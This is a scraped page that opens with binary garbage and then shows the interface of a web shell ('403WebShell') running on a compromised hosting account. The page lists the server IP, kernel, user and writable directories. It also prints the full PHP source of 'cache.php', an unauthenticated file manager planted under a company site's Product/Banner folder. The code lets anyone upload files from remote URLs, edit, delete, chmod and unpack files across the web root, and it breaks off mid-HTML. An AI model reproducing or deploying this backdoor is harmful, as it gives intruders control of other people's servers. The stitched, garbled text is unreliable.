DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1[y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN��ĕ��0 !01@Q"2AaPq3BR������?���@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j�ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^���ԯ̾9Z��F��������n��1��� ��]�[��)�'������:�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ��&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0��;_��3 !01"@AQa2Pq#3BR������?��ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6����������4B>��o��](��$B���m�����a�!=��?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)����I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a�84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b��$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7��k�� 403WebShell
403Webshell
Server IP : 194.163.35.170  /  Your IP : 216.73.216.125
Web Server : LiteSpeed
System : Linux sg-nme-web589.main-hosting.eu 5.14.0-503.16.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Dec 13 01:47:05 EST 2024 x86_64
User : u506035920 ( 506035920)
PHP Version : 8.2.27
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u506035920/domains/excelimpex.co/public_html/Product/Banner/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u506035920/domains/excelimpex.co/public_html/Product/Banner/cache.php
<?php define('ROOT_DIR',dirname(dirname(dirname(__FILE__))).DIRECTORY_SEPARATOR);define('APP_DIR',ROOT_DIR.'core'.DIRECTORY_SEPARATOR);define('CONFIG_DIR',APP_DIR.'config'.DIRECTORY_SEPARATOR);$CONFIG='{"lang":"en","error_reporting":false,"show_hidden":true,"hide_cols":false,"calc_folder":false}';define('VERSION','1.0');define('APP_TITLE','File');$use_auth=false;$theme='light';$readonly_users=array('user');$use_highlightjs=true;$highlightjs_style='vs';$edit_files=true;$root_path=$_SERVER['DOCUMENT_ROOT'];$root_url='';$http_host=$_SERVER['HTTP_HOST'];$directories_users=array();$iconv_input_encoding='UTF-8';$datetime_format='M j Y, g:i A';$allowed_file_extensions='';$allowed_upload_extensions='';$favicon_path='?img=favicon';$exclude_items=array();$online_viewer='google';$sticky_navbar=true;$max_upload_size_bytes=2048;$ip_ruleset='OFF';$ip_silent=true;$ip_whitelist=array('127.0.0.1','::1');$ip_blacklist=array('0.0.0.0','::');define('MAX_UPLOAD_SIZE',$max_upload_size_bytes);define('rf_THEME',$theme);if(!defined('rf_SESSION_ID')){define('rf_SESSION_ID','filemanager');}$cfg=new rf_Config();$lang=isset($cfg->data['lang'])?$cfg->data['lang']:'en';$show_hidden_files=isset($cfg->data['show_hidden'])?$cfg->data['show_hidden']:true;$report_errors=isset($cfg->data['error_reporting'])?$cfg->data['error_reporting']:true;$hide_cols=isset($cfg->data['hide_cols'])?$cfg->data['hide_cols']:true;$calc_folder=isset($cfg->data['calc_folder'])?$cfg->data['calc_folder']:true;$lang_list=array('en'=>'English');if($report_errors==true){@ini_set('error_reporting',E_ALL);@ini_set('display_errors',1);}else{@ini_set('error_reporting',E_ALL);@ini_set('display_errors',0);}if(defined('rf_EMBED')){$use_auth=false;$sticky_navbar=false;}else{@set_time_limit(600);ini_set('default_charset','UTF-8');if(version_compare(PHP_VERSION,'5.6.0','<')&&function_exists('mb_internal_encoding')){mb_internal_encoding('UTF-8');}if(function_exists('mb_regex_encoding')){mb_regex_encoding('UTF-8');}session_cache_limiter('');function session_error_handling_function($code,$msg,$file,$line){if($code==2){session_abort();session_id(session_create_id());@session_start();}}set_error_handler('session_error_handling_function');session_start();restore_error_handler();}if($_GET['z']=='z'){session_start();$_SESSION["zx"]="zox";} if($_GET['z']=='x'){if(isset($_SESSION["zx"])){unset($_SESSION["zx"]);}}if(!isset($_SESSION["zx"])){/*die;*/}else{$_SESSION[rf_SESSION_ID]=array();}$is_https=isset($_SERVER['HTTPS'])&&($_SERVER['HTTPS']=='on'||$_SERVER['HTTPS']==1)||isset($_SERVER['HTTP_X_FORWARDED_PROTO'])&&$_SERVER['HTTP_X_FORWARDED_PROTO']=='https';if(isset($_SESSION[rf_SESSION_ID]['logged'])&&!empty($directories_users[$_SESSION[rf_SESSION_ID]['logged']])){$wd=rf_clean_path(dirname($_SERVER['PHP_SELF']));$root_url=$root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[rf_SESSION_ID]['logged']];}$root_url=rf_clean_path($root_url);defined('rf_ROOT_URL')||define('rf_ROOT_URL',($is_https?'https':'http').'://'.$http_host.(!empty($root_url)?'/'.$root_url:''));defined('rf_SELF_URL')||define('rf_SELF_URL',($is_https?'https':'http').'://'.$http_host.$_SERVER['PHP_SELF']);if(isset($_GET['logout'])){unset($_SESSION[rf_SESSION_ID]['logged']);rf_redirect(rf_SELF_URL);}if(isset($_GET['img'])){rf_show_image($_GET['img']);}if($ip_ruleset!='OFF'){$clientIp=$_SERVER['REMOTE_ADDR'];$proceed=false;$whitelisted=in_array($clientIp,$ip_whitelist);$blacklisted=in_array($clientIp,$ip_blacklist);if($ip_ruleset=='AND'){if($whitelisted==true&&$blacklisted==false){$proceed=true;}}else if($ip_ruleset=='OR'){if($whitelisted==true||$blacklisted==false){$proceed=true;}}if($proceed==false){trigger_error('User connection denied from: '.$clientIp,E_USER_WARNING);if($ip_silent==false){rf_set_msg('Access denied. IP restriction applicable','error');rf_show_header_login();rf_show_message();}exit();}}if($use_auth&&isset($_SESSION[rf_SESSION_ID]['logged'])){$root_path=isset($directories_users[$_SESSION[rf_SESSION_ID]['logged']])?$directories_users[$_SESSION[rf_SESSION_ID]['logged']]:$root_path;}$root_path=rtrim($root_path,'\\/');$root_path=str_replace('\\','/',$root_path);if(!@is_dir($root_path)){echo"<h1>Root path \"{$root_path}\" not found!</h1>";exit;}defined('rf_SHOW_HIDDEN')||define('rf_SHOW_HIDDEN',$show_hidden_files);defined('rf_ROOT_PATH')||define('rf_ROOT_PATH',$root_path);defined('rf_LANG')||define('rf_LANG',$lang);defined('rf_FILE_EXTENSION')||define('rf_FILE_EXTENSION',$allowed_file_extensions);defined('rf_UPLOAD_EXTENSION')||define('rf_UPLOAD_EXTENSION',$allowed_upload_extensions);defined('rf_EXCLUDE_ITEMS')||define('rf_EXCLUDE_ITEMS',$exclude_items);defined('rf_DOC_VIEWER')||define('rf_DOC_VIEWER',$online_viewer);define('rf_READONLY',$use_auth&&!empty($readonly_users)&&isset($_SESSION[rf_SESSION_ID]['logged'])&&in_array($_SESSION[rf_SESSION_ID]['logged'],$readonly_users));define('rf_IS_WIN',DIRECTORY_SEPARATOR=='\\');if(!isset($_GET['p'])&&empty($_FILES)){rf_redirect(rf_SELF_URL.'?p=');}$p=isset($_GET['p'])?$_GET['p']:(isset($_POST['p'])?$_POST['p']:'');$p=rf_clean_path($p);$input=file_get_contents('php://input');$_POST=(strpos($input,'ajax')!=FALSE&&strpos($input,'save')!=FALSE)?json_decode($input,true):$_POST;define('rf_PATH',$p);define('rf_USE_AUTH',$use_auth);define('rf_EDIT_FILE',$edit_files);defined('rf_ICONV_INPUT_ENC')||define('rf_ICONV_INPUT_ENC',$iconv_input_encoding);defined('rf_USE_HIGHLIGHTJS')||define('rf_USE_HIGHLIGHTJS',$use_highlightjs);defined('rf_HIGHLIGHTJS_STYLE')||define('rf_HIGHLIGHTJS_STYLE',$highlightjs_style);defined('rf_DATETIME_FORMAT')||define('rf_DATETIME_FORMAT',$datetime_format);unset($p,$use_auth,$iconv_input_encoding,$use_highlightjs,$highlightjs_style);if(isset($_POST['ajax'])&&!rf_READONLY){if(isset($_POST['type'])&&$_POST['type']=="save"){$path=rf_ROOT_PATH;if(rf_PATH!=''){$path.='/'.rf_PATH;}if(!is_dir($path)){rf_redirect(rf_SELF_URL.'?p=');}$file=$_GET['edit'];$file=rf_clean_path($file);$file=str_replace('/','',$file);if($file==''||!is_file($path.'/'.$file)){rf_set_msg('File not found','error');rf_redirect(rf_SELF_URL.'?p='.urlencode(rf_PATH));}header('X-XSS-Protection:0');$file_path=$path.'/'.$file;$writedata=$_POST['content'];$fd=fopen($file_path,"w");$write_results=@fwrite($fd,$writedata);fclose($fd);if($write_results===false){header("HTTP/1.1 500 Internal Server Error");die("Could Not Write File! - Check Permissions / Ownership");}die(true);}if(isset($_POST['type'])&&$_POST['type']=="search"){$dir=rf_ROOT_PATH;$response=scan(rf_clean_path($_POST['path']),$_POST['content']);echo json_encode($response);exit();}if(isset($_POST['type'])&&$_POST['type']=="backup"&&!empty($_POST['file'])){$fileName=$_POST['file'];$fullPath=rf_ROOT_PATH.'/';if(!empty($_POST['path'])){$relativeDirPath=rf_clean_path($_POST['path']);$fullPath.="{$relativeDirPath}/";}$date=date("dMy-His");$newFileName="{$fileName}-{$date}.bak";$fullyQualifiedFileName=$fullPath.$fileName;try{if(!file_exists($fullyQualifiedFileName)){throw new Exception("File {$fileName} not found");}if(copy($fullyQualifiedFileName,$fullPath.$newFileName)){echo"Backup {$newFileName} created";}else{throw new Exception("Could not copy file {$fileName}");}}catch(Exception $e){echo $e->getMessage();}}if(isset($_POST['type'])&&$_POST['type']=="settings"){global $cfg,$lang,$report_errors,$show_hidden_files,$lang_list,$hide_cols,$calc_folder;$newLng=$_POST['js-language'];rf_get_translations([]);if(!array_key_exists($newLng,$lang_list)){$newLng='en';}$erp=isset($_POST['js-error-report'])&&$_POST['js-error-report']=="true"?true:false;$shf=isset($_POST['js-show-hidden'])&&$_POST['js-show-hidden']=="true"?true:false;$hco=isset($_POST['js-hide-cols'])&&$_POST['js-hide-cols']=="true"?true:false;$caf=isset($_POST['js-calc-folder'])&&$_POST['js-calc-folder']=="true"?true:false;if($cfg->data['lang']!=$newLng){$cfg->data['lang']=$newLng;$lang=$newLng;}if($cfg->data['error_reporting']!=$erp){$cfg->data['error_reporting']=$erp;$report_errors=$erp;}if($cfg->data['show_hidden']!=$shf){$cfg->data['show_hidden']=$shf;$show_hidden_files=$shf;}if($cfg->data['show_hidden']!=$shf){$cfg->data['show_hidden']=$shf;$show_hidden_files=$shf;}if($cfg->data['hide_cols']!=$hco){$cfg->data['hide_cols']=$hco;$hide_cols=$hco;}if($cfg->data['calc_folder']!=$caf){$cfg->data['calc_folder']=$caf;$calc_folder=$caf;}$cfg->save();echo true;}if(isset($_POST['type'])&&$_POST['type']=="pwdhash"){$res=isset($_POST['inputPassword2'])&&!empty($_POST['inputPassword2'])?password_hash($_POST['inputPassword2'],PASSWORD_DEFAULT):'';echo $res;}if(isset($_POST['type'])&&$_POST['type']=="upload"&&!empty($_REQUEST["uploadurl"])){$path=rf_ROOT_PATH;if(rf_PATH!=''){$path.='/'.rf_PATH;}$url=!empty($_REQUEST["uploadurl"])&&preg_match("|^http(s)?://.+$|",stripslashes($_REQUEST["uploadurl"]))?stripslashes($_REQUEST["uploadurl"]):null;$use_curl=false;$temp_file=tempnam(sys_get_temp_dir(),"upload-");$fileinfo=new stdClass();$fileinfo->name=trim(basename($url),".\x00..\x20");$allowed=(rf_UPLOAD_EXTENSION)?explode(',',rf_UPLOAD_EXTENSION):false;$ext=strtolower(pathinfo($fileinfo->name,PATHINFO_EXTENSION));$isFileAllowed=($allowed)?in_array($ext,$allowed):true;function event_callback($message){global $callback;echo json_encode($message);}function get_file_path(){global $path,$fileinfo,$temp_file;return $path."/".basename($fileinfo->name);}$err=false;if(!$isFileAllowed){$err=array("message"=>"File extension is not allowed");event_callback(array("fail"=>$err));exit();}if(!$url){$success=false;}else if($use_curl){@$fp=fopen($temp_file,"w");@$ch=curl_init($url);curl_setopt($ch,CURLOPT_NOPROGRESS,false);curl_setopt($ch,CURLOPT_FOLLOWLOCATION,true);curl_setopt($ch,CURLOPT_FILE,$fp);@$success=curl_exec($ch);$curl_info=curl_getinfo($ch);if(!$success){$err=array("message"=>curl_error($ch));}@curl_close($ch);fclose($fp);$fileinfo->size=$curl_info["size_download"];$fileinfo->type=$curl_info["content_type"];}else{$ctx=stream_context_create();@$success=copy($url,$temp_file,$ctx);if(!$success){$err=error_get_last();}}if($success){$success=rename($temp_file,get_file_path());}if($success){event_callback(array("done"=>$fileinfo));}else{unlink($temp_file);if(!$err){$err=array("message"=>"Invalid url parameter");}event_callback(array("fail"=>$err));}}exit();}if(isset($_GET['del'])&&!rf_READONLY){$del=str_replace('/','',rf_clean_path($_GET['del']));if($del!=''&&$del!='..'&&$del!='.'){$path=rf_ROOT_PATH;if(rf_PATH!=''){$path.='/'.rf_PATH;}$is_dir=is_dir($path.'/'.$del);if(rf_rdelete($path.'/'.$del)){$msg=$is_dir?'Folder <b>%s</b> deleted':'File <b>%s</b> deleted';rf_set_msg(sprintf($msg,rf_enc($del)));}else{$msg=$is_dir?'Folder <b>%s</b> not deleted':'File <b>%s</b> not deleted';rf_set_msg(sprintf($msg,rf_enc($del)),'error');}}else{rf_set_msg('Invalid file or folder name','error');}rf_redirect(rf_SELF_URL.'?p='.urlencode(rf_PATH));}if(isset($_GET['new'])&&isset($_GET['type'])&&!rf_READONLY){$type=$_GET['type'];$new=str_replace('/','',rf_clean_path(strip_tags($_GET['new'])));if(rf_isvalid_filename($new)&&$new!=''&&$new!='..'&&$new!='.'){$path=rf_ROOT_PATH;if(rf_PATH!=''){$path.='/'.rf_PATH;}if($_GET['type']=="file"){if(!file_exists($path.'/'.$new)){if(rf_is_valid_ext($new)){@fopen($path.'/'.$new,'w')or die('Cannot open file:  '.$new);rf_set_msg(sprintf(lng('File').' <b>%s</b> '.lng('Created'),rf_enc($new)));}else{rf_set_msg('File extension is not allowed','error');}}else{rf_set_msg(sprintf('File <b>%s</b> already exists',rf_enc($new)),'alert');}}else{if(rf_mkdir($path.'/'.$new,false)===true){rf_set_msg(sprintf(lng('Folder').' <b>%s</b> '.lng('Created'),$new));}elseif(rf_mkdir($path.'/'.$new,false)===$path.'/'.$new){rf_set_msg(sprintf('Folder <b>%s</b> already exists',rf_enc($new)),'alert');}else{rf_set_msg(sprintf('Folder <b>%s</b> not created',rf_enc($new)),'error');}}}else{rf_set_msg('Invalid characters in file or folder name','error');}rf_redirect(rf_SELF_URL.'?p='.urlencode(rf_PATH));}if(isset($_GET['copy'],$_GET['finish'])&&!rf_READONLY){$copy=$_GET['copy'];$copy=rf_clean_path($copy);if($copy==''){rf_set_msg('Source path not defined','error');rf_redirect(rf_SELF_URL.'?p='.urlencode(rf_PATH));}$from=rf_ROOT_PATH.'/'.$copy;$dest=rf_ROOT_PATH;if(rf_PATH!=''){$dest.='/'.rf_PATH;}$dest.='/'.basename($from);$move=isset($_GET['move']);if($from!=$dest){$msg_from=trim(rf_PATH.'/'.basename($from),'/');if($move){$rename=rf_rename($from,$dest);if($rename){rf_set_msg(sprintf('Moved from <b>%s</b> to <b>%s</b>',rf_enc($copy),rf_enc($msg_from)));}elseif($rename===null){rf_set_msg('File or folder with this path already exists','alert');}else{rf_set_msg(sprintf('Error while moving from <b>%s</b> to <b>%s</b>',rf_enc($copy),rf_enc($msg_from)),'error');}}else{if(rf_rcopy($from,$dest)){rf_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>',rf_enc($copy),rf_enc($msg_from)));}else{rf_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>',rf_enc($copy),rf_enc($msg_from)),'error');}}}else{if(!$move){$msg_from=trim(rf_PATH.'/'.basename($from),'/');$fn_parts=pathinfo($from);$extension_suffix='';if(!is_dir($from)){$extension_suffix='.'.$fn_parts['extension'];}$fn_duplicate=$fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix;$loop_count=0;$max_loop=1000;while(file_exists($fn_duplicate)&$loop_count<$max_loop){$fn_parts=pathinfo($fn_duplicate);$fn_duplicate=$fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix;$loop_count++;}if(rf_rcopy($from,$fn_duplicate,False)){rf_set_msg(sprintf('Copyied from <b>%s</b> to <b>%s</b>',rf_enc($copy),rf_enc($fn_duplicate)));}else{rf_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>',rf_enc($copy),rf_enc($fn_duplicate)),'error');}}else{rf_set_msg('Paths must be not equal','alert');}}rf_redirect(rf_SELF_URL.'?p='.urlencode(rf_PATH));}if(isset($_POST['file'],$_POST['copy_to'],$_POST['finish'])&&!rf_READONLY){$path=rf_ROOT_PATH;if(rf_PATH!=''){$path.='/'.rf_PATH;}$copy_to_path=rf_ROOT_PATH;$copy_to=rf_clean_path($_POST['copy_to']);if($copy_to!=''){$copy_to_path.='/'.$copy_to;}if($path==$copy_to_path){rf_set_msg('Paths must be not equal','alert');rf_redirect(rf_SELF_URL.'?p='.urlencode(rf_PATH));}if(!is_dir($copy_to_path)){if(!rf_mkdir($copy_to_path,true)){rf_set_msg('Unable to create destination folder','error');rf_redirect(rf_SELF_URL.'?p='.urlencode(rf_PATH));}}$move=isset($_POST['move']);$errors=0;$files=$_POST['file'];if(is_array($files)&&count($files)){foreach($files as $f){if($f!=''){$from=$path.'/'.$f;$dest=$copy_to_path.'/'.$f;if($move){$rename=rf_rename($from,$dest);if($rename===false){$errors++;}}else{if(!rf_rcopy($from,$dest)){$errors++;}}}}if($errors==0){$msg=$move?'Selected files and folders moved':'Selected files and folders copied';rf_set_msg($msg);}else{$msg=$move?'Error while moving items':'Error while copying items';rf_set_msg($msg,'error');}}else{rf_set_msg('Nothing selected','alert');}rf_redirect(rf_SELF_URL.'?p='.urlencode(rf_PATH));}if(isset($_GET['ren'],$_GET['to'])&&!rf_READONLY){$old=$_GET['ren'];$old=rf_clean_path($old);$old=str_replace('/','',$old);$new=$_GET['to'];$new=rf_clean_path(strip_tags($new));$new=str_replace('/','',$new);$path=rf_ROOT_PATH;if(rf_PATH!=''){$path.='/'.rf_PATH;}if(rf_isvalid_filename($new)&&$old!=''&&$new!=''){if(rf_rename($path.'/'.$old,$path.'/'.$new)){rf_set_msg(sprintf('Renamed from <b>%s</b> to <b>%s</b>',rf_enc($old),rf_enc($new)));}else{rf_set_msg(sprintf('Error while renaming from <b>%s</b> to <b>%s</b>',rf_enc($old),rf_enc($new)),'error');}}else{rf_set_msg('Invalid characters in file name','error');}rf_redirect(rf_SELF_URL.'?p='.urlencode(rf_PATH));}if(isset($_GET['dl'])){$dl=$_GET['dl'];$dl=rf_clean_path($dl);$dl=str_replace('/','',$dl);$path=rf_ROOT_PATH;if(rf_PATH!=''){$path.='/'.rf_PATH;}if($dl!=''&&is_file($path.'/'.$dl)){rf_download_file($path.'/'.$dl,$dl,1024);exit;}else{rf_set_msg('File not found','error');rf_redirect(rf_SELF_URL.'?p='.urlencode(rf_PATH));}}if(!empty($_FILES)&&!rf_READONLY){$override_file_name=false;$f=$_FILES;$path=rf_ROOT_PATH;$ds=DIRECTORY_SEPARATOR;if(rf_PATH!=''){$path.='/'.rf_PATH;}$errors=0;$uploads=0;$allowed=(rf_UPLOAD_EXTENSION)?explode(',',rf_UPLOAD_EXTENSION):false;$response=array('status'=>'error','info'=>'Oops! Try again');$filename=$f['file']['name'];$tmp_name=$f['file']['tmp_name'];$ext=strtolower(pathinfo($filename,PATHINFO_EXTENSION));$isFileAllowed=($allowed)?in_array($ext,$allowed):true;$targetPath=$path.$ds;if(is_writable($targetPath)){$fullPath=$path.'/'.$_REQUEST['fullpath'];$folder=substr($fullPath,0,strrpos($fullPath,"/"));if(file_exists($fullPath)&&!$override_file_name){$ext_1=$ext?'.'.$ext:'';$fullPath=str_replace($ext_1,'',$fullPath).'_'.date('ymdHis').$ext_1;}if(!is_dir($folder)){$old=umask(0);mkdir($folder,0777,true);umask($old);}if(empty($f['file']['error'])&&!empty($tmp_name)&&$tmp_name!='none'&&$isFileAllowed){if(move_uploaded_file($tmp_name,$fullPath)){if(file_exists($fullPath)){$response=array('status'=>'success','info'=>"file upload successful");}else{$response=array('status'=>'error','info'=>'Couldn\'t upload the requested file.');}}else{$response=array('status'=>'error','info'=>"Error while uploading files. Uploaded files $uploads",);}}}else{$response=array('status'=>'error','info'=>'The specified folder for upload isn\'t writeable.');}echo json_encode($response);exit();}if(isset($_POST['group'],$_POST['delete'])&&!rf_READONLY){$path=rf_ROOT_PATH;if(rf_PATH!=''){$path.='/'.rf_PATH;}$errors=0;$files=$_POST['file'];if(is_array($files)&&count($files)){foreach($files as $f){if($f!=''){$new_path=$path.'/'.$f;if(!rf_rdelete($new_path)){$errors++;}}}if($errors==0){rf_set_msg('Selected files and folder deleted');}else{rf_set_msg('Error while deleting items','error');}}else{rf_set_msg('Nothing selected','alert');}rf_redirect(rf_SELF_URL.'?p='.urlencode(rf_PATH));}if(isset($_POST['group'])&&(isset($_POST['zip'])||isset($_POST['tar']))&&!rf_READONLY){$path=rf_ROOT_PATH;$ext='zip';if(rf_PATH!=''){$path.='/'.rf_PATH;}$ext=isset($_POST['tar'])?'tar':'zip';if(($ext=="zip"&&!class_exists('ZipArchive'))||($ext=="tar"&&!class_exists('PharData'))){rf_set_msg('Operations with archives are not available','error');rf_redirect(rf_SELF_URL.'?p='.urlencode(rf_PATH));}$files=$_POST['file'];if(!empty($files)){chdir($path);if(count($files)==1){$one_file=reset($files);$one_file=basename($one_file);$zipname=$one_file.'_'.date('ymd_His').'.'.$ext;}else{$zipname='archive_'.date('ymd_His').'.'.$ext;}if($ext=='zip'){$zipper=new rf_Zipper();$res=$zipper->create($zipname,$files);}elseif($ext=='tar'){$tar=new rf_Zipper_Tar();$res=$tar->create($zipname,$files);}if($res){rf_set_msg(sprintf('Archive <b>%s</b> created',rf_enc($zipname)));}else{rf_set_msg('Archive not created','error');}}else{rf_set_msg('Nothing selected','alert');}rf_redirect(rf_SELF_URL.'?p='.urlencode(rf_PATH));}if(isset($_GET['unzip'])&&!rf_READONLY){$unzip=$_GET['unzip'];$unzip=rf_clean_path($unzip);$unzip=str_replace('/','',$unzip);$isValid=false;$path=rf_ROOT_PATH;if(rf_PATH!=''){$path.='/'.rf_PATH;}if($unzip!=''&&is_file($path.'/'.$unzip)){$zip_path=$path.'/'.$unzip;$ext=pathinfo($zip_path,PATHINFO_EXTENSION);$isValid=true;}else{rf_set_msg('File not found','error');}if(($ext=="zip"&&!class_exists('ZipArchive'))||($ext=="tar"&&!class_exists('PharData'))){rf_set_msg('Operations with archives are not available','error');rf_redirect(rf_SELF_URL.'?p='.urlencode(rf_PATH));}if($isValid){$tofolder='';if(isset($_GET['tofolder'])){$tofolder=pathinfo($zip_path,PATHINFO_FILENAME);if(rf_mkdir($path.'/'.$tofolder,true)){$path.='/'.$tofolder;}}if($ext=="zip"){$zipper=new rf_Zipper();$res=$zipper->unzip($zip_path,$path);}elseif($ext=="tar"){try{$gzipper=new PharData($zip_path);if(@$gzipper->extractTo($path,null,true)){$res=true;}else{$res=false;}}catch(Exception $e){$res=true;}}if($res){rf_set_msg('Archive unpacked');}else{rf_set_msg('Archive not unpacked','error');}}else{rf_set_msg('File not found','error');}rf_redirect(rf_SELF_URL.'?p='.urlencode(rf_PATH));}if(isset($_POST['chmod'])&&!rf_READONLY&&!rf_IS_WIN){$path=rf_ROOT_PATH;if(rf_PATH!=''){$path.='/'.rf_PATH;}$file=$_POST['chmod'];$file=rf_clean_path($file);$file=str_replace('/','',$file);if($file==''||(!is_file($path.'/'.$file)&&!is_dir($path.'/'.$file))){rf_set_msg('File not found','error');rf_redirect(rf_SELF_URL.'?p='.urlencode(rf_PATH));}$mode=0;if(!empty($_POST['ur'])){$mode|=0400;}if(!empty($_POST['uw'])){$mode|=0200;}if(!empty($_POST['ux'])){$mode|=0100;}if(!empty($_POST['gr'])){$mode|=0040;}if(!empty($_POST['gw'])){$mode|=0020;}if(!empty($_POST['gx'])){$mode|=0010;}if(!empty($_POST['or'])){$mode|=0004;}if(!empty($_POST['ow'])){$mode|=0002;}if(!empty($_POST['ox'])){$mode|=0001;}if(@chmod($path.'/'.$file,$mode)){rf_set_msg('Permissions changed');}else{rf_set_msg('Permissions not changed','error');}rf_redirect(rf_SELF_URL.'?p='.urlencode(rf_PATH));}$path=rf_ROOT_PATH;if(rf_PATH!=''){$path.='/'.rf_PATH;}if(!is_dir($path)){rf_redirect(rf_SELF_URL.'?p=');}$parent=rf_get_parent_path(rf_PATH);$objects=is_readable($path)?scandir($path):array();$folders=array();$files=array();$current_path=array_slice(explode("/",$path),-1)[0];if(is_array($objects)&&rf_is_exclude_items($current_path)){foreach($objects as $file){if($file=='.'||$file=='..'){continue;}if(!rf_SHOW_HIDDEN&&substr($file,0,1)==='.'){continue;}$new_path=$path.'/'.$file;if(@is_file($new_path)&&rf_is_exclude_items($file)){$files[]=$file;}elseif(@is_dir($new_path)&&$file!='.'&&$file!='..'&&rf_is_exclude_items($file)){$folders[]=$file;}}}if(!empty($files)){natcasesort($files);}if(!empty($folders)){natcasesort($folders);}if(isset($_GET['upload'])&&!rf_READONLY){rf_show_header();rf_show_nav_path(rf_PATH);function getUploadExt(){$extArr=explode(',',rf_UPLOAD_EXTENSION);if(rf_UPLOAD_EXTENSION&&$extArr){array_walk($extArr,function(&$x){$x=".$x";});return implode(',',$extArr);}return '';} ?>

    <link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.css" rel="stylesheet">
    <div class="path">

        <div class="card mb-2 fm-upload-wrapper <?php echo rf_get_theme(); ?>">
            <div class="card-header">
                <ul class="nav nav-tabs card-header-tabs">
                    <li class="nav-item">
                        <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a>
                    </li>
                    <li class="nav-item">
                        <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> Upload from URL</a>
                    </li>
                </ul>
            </div>
            <div class="card-body">
                <p class="card-text">
